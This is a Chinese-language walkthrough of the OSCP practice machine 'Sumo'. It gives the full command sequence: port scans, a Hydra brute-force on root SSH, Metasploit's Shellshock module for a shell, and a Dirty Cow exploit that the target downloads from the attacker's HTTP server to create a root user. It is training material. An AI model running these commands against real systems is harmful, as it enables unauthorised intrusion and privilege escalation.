OSCP系列靶场-Esay-Sumo
字数 1446 2025-08-10 13:48:27
OSCP靶场实战:Sumo靶机渗透测试报告
1. 靶机概述
Sumo是一个难度为"Easy"的OSCP练习靶机,主要考察以下技能:
- 信息收集与枚举
- Shellshock漏洞利用
- 脏牛(Dirty Cow)提权技术
- Linux系统提权方法
2. 环境准备
2.1 网络配置
- 攻击机IP: 192.168.45.194
- 靶机IP: 192.168.190.87
- VPN连接: 已建立
2.2 工具准备
- Nmap
- Nikto
- Dirsearch/Dirb
- Gobuster
- Metasploit Framework
- Hydra
- 常用字典文件
3. 信息收集阶段
3.1 端口扫描
使用Nmap进行两次扫描以减少误报:
sudo nmap --min-rate 10000 -p- 192.168.190.87
扫描结果:
- 22/tcp - OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu)
- 80/tcp - Apache httpd 2.2.22 ((Ubuntu))
3.2 SSH服务分析
版本信息:
- OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu)
登录方式检查:
ssh root@192.168.190.87 -v
显示支持publickey和password两种认证方式
弱密码尝试:
sudo ssh root@192.168.190.87 -p 22
尝试常见弱密码失败
暴力破解:
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.190.87 ssh -s 22
3.3 HTTP服务分析
Web目录扫描:
dirsearch -u http://192.168.190.87:80 -x 302,403,404
dirb http://192.168.190.87:80
gobuster dir -u http://192.168.190.87:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000
Nikto扫描:
nikto -h http://192.168.190.87:80
发现Shellshock漏洞(CVE-2014-6278)提示
4. 漏洞利用阶段
4.1 Shellshock漏洞利用
漏洞背景:
Shellshock漏洞于2014年9月公开,Bash解释器在处理环境变量时存在缺陷,允许通过恶意环境变量注入任意Shell命令。
Metasploit利用:
msfconsole
search CVE-2014-6271
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set rhosts 192.168.190.87
set lhost 192.168.45.194
set targeturi /cgi-bin/test
run
成功获取初始shell权限(www-data用户)
4.2 获取交互式Shell
python -c "import pty;pty.spawn('/bin/bash')"
或使用python3如果python不可用
4.3 获取第一个Flag
find / -name local.txt 2>/dev/null
cat /usr/lib/cgi-bin/local.txt
Flag1: 6b8bdd93e00d8ea52fcc7f201eba9f56
5. 权限提升阶段
5.1 系统信息收集
发行版本:
lsb_release -a
Ubuntu 12.04 LTS (Precise)
内核版本:
uname -a
Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64
5.2 提权尝试
5.2.1 overlayfs提权
检查内核版本是否在3.13.0到3.19之间,本案例不适用
5.2.2 脏牛(Dirty Cow)提权
方法一:
# 在攻击机
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp .
sudo python3 -m http.server 80
# 在靶机
cd /tmp
wget http://192.168.45.194/40847.cpp
chmod +x 40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -s
此方法失败,可能缺少g++编译器
方法二:
# 在攻击机
cp /usr/share/exploitdb/exploits/linux/local/40839.c .
sudo python3 -m http.server 80
# 在靶机
cd /tmp
wget http://192.168.45.194/40839.c
chmod +x 40839.c
gcc -pthread 40839.c -o dirty -lcrypt
./dirty
创建firefart用户(密码:123456)
验证提权:
su firefart
id
显示uid=0(gid=0),提权成功
5.3 获取root Flag
cat /root/proof.txt
Flag2: 22f3656d21fb5ef444ea898e69073476
6. 总结与经验
-
信息收集要全面:不要忽视Nikto等工具的扫描结果,Shellshock漏洞就是通过Nikto发现的
-
老版本系统要关注:SSH和Apache的老版本提示可能存在已知漏洞
-
提权方法选择:
- 内核版本3.2.0较老,适合脏牛提权
- 当一种提权方法失败时,尝试其他变体
-
工具链准备:
- 准备好各种提权exp的本地副本
- 熟悉快速搭建HTTP服务的方法(python -m http.server)
-
渗透测试流程:
- 信息收集 → 漏洞发现 → 漏洞利用 → 权限提升 → 后渗透
- 每个阶段都要充分枚举和验证